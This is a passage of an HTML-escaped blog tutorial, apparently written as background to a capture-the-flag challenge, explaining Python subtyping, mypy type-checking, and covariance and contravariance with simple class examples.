Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Type-wise, it creates a relationship: &lt;code&gt;Reverse&lt;/code&gt; is a &lt;strong&gt;subtype&lt;/strong&gt; of &lt;code&gt;Challenge&lt;/code&gt;. More on this later.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can inherit multiple classes too:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a class for Python Reverse challenges.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PythonReverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Python&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both &lt;code&gt;Python&lt;/code&gt; and &lt;code&gt;Reverse&lt;/code&gt; are superclasses/supertypes of &lt;code&gt;PythonReverse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Mathematically, we denote inheritance with $A : B$, where $A$ is the subtype and $B$ the supertype.&lt;/p&gt;
&lt;h3 id=&quot;typing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#typing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Typing&lt;/h3&gt;
&lt;p&gt;Python is a dynamically-typed language and does not offer type-checking out-of-the-box. This challenge uses the third-party tool &lt;code&gt;mypy&lt;/code&gt; to type-check &lt;code&gt;output.py&lt;/code&gt; (get it with &lt;code&gt;pip install mypy&lt;/code&gt;). Let&#39;s look at a typed example.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
y&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
z&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Web&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We declare three classes: &lt;code&gt;Challenge&lt;/code&gt;, &lt;code&gt;Reverse&lt;/code&gt;, and &lt;code&gt;Web&lt;/code&gt;. The latter two are nominal subtypes of &lt;code&gt;Challenge&lt;/code&gt;.&lt;/p&gt;
  &lt;details&gt;&lt;summary&gt;Nominal vs. Structural Subtyping&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Generally, there are two ways to look at subtypes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nominal Subtyping: Two types are considered subtypes if they were &lt;strong&gt;declared&lt;/strong&gt; such. Usually an explicit link is specified, e.g. inheritance.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Reverse&lt;/code&gt; is a (nominal) subtype of &lt;code&gt;Challenge&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Structural Subtyping: Two types are considered subtypes if their &lt;strong&gt;structures match&lt;/strong&gt;. No explicit linking required.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# No inheritance.&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;instantiate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Web&lt;/code&gt; is a (structural) subtype of &lt;code&gt;Challenge&lt;/code&gt;, because &lt;code&gt;Web&lt;/code&gt; &lt;em&gt;contains&lt;/em&gt; attributes and behaviour of &lt;code&gt;Challenge.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is more akin to duck typing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All the subtyping discussed in this post is &lt;em&gt;nominal subtyping&lt;/em&gt;.&lt;/p&gt;
  &lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We then...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;declare three variables &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, &lt;code&gt;z&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;annotate them with &lt;code&gt;Challenge&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;initiate them to instances of the classes we created.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Beware, &lt;code&gt;Challenge&lt;/code&gt; takes on two roles here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Type. When inheriting (in the declaration of &lt;code&gt;class Reverse&lt;/code&gt;) or when annotating &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;Challenge&lt;/code&gt; is treated as a type.&lt;/li&gt;
&lt;li&gt;Constructor. When calling &lt;code&gt;Challenge()&lt;/code&gt;, we are instantiating an object.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;strong&gt;type annotation&lt;/strong&gt; is a constraint we place on the variable.&lt;/p&gt;
&lt;p&gt;When we run &lt;code&gt;mypy&lt;/code&gt; on this file, the type-checker will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;process class declarations,&lt;/li&gt;
&lt;li&gt;register subtyping relationships ($&#92;texttt{Reverse} &amp;lt;: &#92;texttt{Challenge}$, $&#92;texttt{Web} &amp;lt;: &#92;texttt{Challenge}$), and&lt;/li&gt;
&lt;li&gt;type-check annotations and values.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;$U &amp;lt;: T$ denotes &amp;quot;$U$ is a &lt;strong&gt;subtype&lt;/strong&gt; of $T$&amp;quot;.&lt;/li&gt;
&lt;li&gt;$U :&amp;gt; T$ denotes &amp;quot;$U$ is a &lt;strong&gt;supertype&lt;/strong&gt; of $T$&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$&#92;texttt{int} &amp;lt;: &#92;texttt{object}$&lt;/li&gt;
&lt;li&gt;$&#92;texttt{RuntimeError} &amp;lt;: &#92;texttt{Exception} &amp;lt;: &#92;texttt{BaseException}$&lt;/li&gt;
&lt;li&gt;$&#92;texttt{object} :&amp;gt; &#92;texttt{int}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The type-check passes if the values are subtypes of the annotations. This is also called a &lt;strong&gt;subtype query&lt;/strong&gt; (distinguished by $&amp;lt;:^?$).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Other examples of subtype queries:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;# Is type(5) a subtype of int? ✓&lt;/span&gt;
y&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abc&quot;&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Is type(&quot;abc&quot;) a subtype of float? ✗&lt;/span&gt;
z&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# Is type(Reverse()) a subtype of Challenge? ✓&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We&#39;ll find out later how to resolve subtype queries. That is, we&#39;ll look at how to figure out if a class is a subtype of another class. (&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot;&gt;Jump&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Subtypes are great for &lt;a href=&quot;https://www.programiz.com/python-programming/polymorphism&quot;&gt;polymorphism&lt;/a&gt; as they allow us to construct containers (lists, arrays, maps) in a concise and type-safe manner. Here&#39;s a simple example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; typing &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pwn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Create a list of different challenges.&lt;/span&gt;
chals&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; List&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Web&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Pwn&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;invariance-covariance-and-contravariance&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#invariance-covariance-and-contravariance&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Invariance, Covariance, and Contravariance&lt;/h3&gt;
&lt;p&gt;Wow, big mathy terms.&lt;/p&gt;
&lt;p&gt;Suppose we want to display our list of challenges. We create a function &lt;code&gt;display()&lt;/code&gt; which takes a list of challenges. But what if we specifically pass in a list of &lt;code&gt;Reverse&lt;/code&gt; challenges?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a generic list type using an invariant type variable T.&lt;/span&gt;
T &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;T&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MyList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chals&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MyList&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

display&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;MyList&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ERROR! Argument 1 to &quot;display&quot; has incompatible type &quot;MyList[Reverse]&quot;; expected &quot;MyList[Challenge]&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(N.B. For the sake of this section, I&#39;ve used a custom &lt;code&gt;MyList&lt;/code&gt; type instead of &lt;code&gt;typing.List&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;But why did this error? Although &lt;code&gt;mypy&lt;/code&gt; deduced that $&#92;texttt{Reverse} &amp;lt;: &#92;texttt{Challenge}$, it couldn&#39;t deduce that our subtype query $&#92;texttt{MyList[Reverse]} {} &amp;lt;:^? &#92;texttt{MyList[Challenge]}$ holds.&lt;/p&gt;
&lt;p&gt;This is where covariance and contravariance come into play. With these two bad bois, we can derive further relationships on generic types. The two are similar, with a minor difference.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Let $F[T]$ be a generic container with type parameter $T$.&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;covariant&lt;/strong&gt;, then $A &amp;lt;: B&#92; &#92;iff&#92; F[A] &amp;lt;: F[B]$ for any type $A$, $B$.&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;contravariant&lt;/strong&gt;, then $A &amp;lt;: B&#92; &#92;iff&#92; F[A] :&amp;gt; F[B]$ for any type $A$, $B$.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; (It flips!)&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;invariant&lt;/strong&gt;, then $A = B&#92; &#92;iff&#92; F[A] = F[B]$. No other subtyping relationships are derived. (This is the default!)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Hence, in the previous code example, we can fix the code by adding &lt;code&gt;covariant=True&lt;/code&gt;:&lt;/p&gt;
